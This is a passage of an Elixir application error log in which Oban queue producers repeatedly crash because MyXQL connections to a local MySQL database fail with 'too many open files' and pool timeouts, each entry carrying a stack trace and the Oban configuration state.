    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:33:03.241698Z], limit: 50, uuid: "5a6aba84-4c19-4aca-aec9-a126e46ef377", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:03.241703Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22468>, refresh_timer: #Reference<0.2525715032.1121189889.121279>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:16.625000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:16.804000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:21.397000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:25.833000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:33:15.242216Z], limit: 5, uuid: "ef2093b7-1e0b-4665-9b01-eb37eeccbc80", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:15.242221Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22779>, refresh_timer: #Reference<0.2525715032.1077411843.252277>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:33:15.241520Z], limit: 3, uuid: "4a47fd13-e11d-4f08-9876-d1329c12376d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:15.241527Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22777>, refresh_timer: #Reference<0.2525715032.1099431938.22710>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:33:15.242408Z], limit: 5, uuid: "be8992bf-4824-484a-bbc8-de00c3cfb39c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:15.242413Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22778>, refresh_timer: #Reference<0.2525715032.1077411843.252285>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:33:15.242299Z], limit: 10, uuid: "d9f3985e-c3e3-494f-b1db-5e743b664dd8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:15.242305Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22775>, refresh_timer: #Reference<0.2525715032.1099431938.22737>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:33:15.244743Z], limit: 50, uuid: "feeccb3b-2037-407f-9799-de9bcc1e7d4b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:15.244749Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22776>, refresh_timer: #Reference<0.2525715032.1099431938.22766>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:33:15.241520Z], limit: 20, uuid: "076d7f67-a192-470b-8643-4a76d3877056", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:15.241528Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22774>, refresh_timer: #Reference<0.2525715032.1099431938.22717>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:27.414000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:27.469000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:29.079000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:29.852000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:35.331000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:37.524000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:37.675000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:38.390000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:33:27.242514Z], limit: 10, uuid: "a82c31b4-41c2-443c-8196-9b699f45e7c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:27.242520Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.14808>, refresh_timer: #Reference<0.2525715032.1068498948.14773>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:33:27.242779Z], limit: 20, uuid: "b46f382d-7c71-4f4f-8138-d6fc1d04fe65", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:27.243422Z]}, name: {:via, Registry, {Oban.Registry, {Oban, 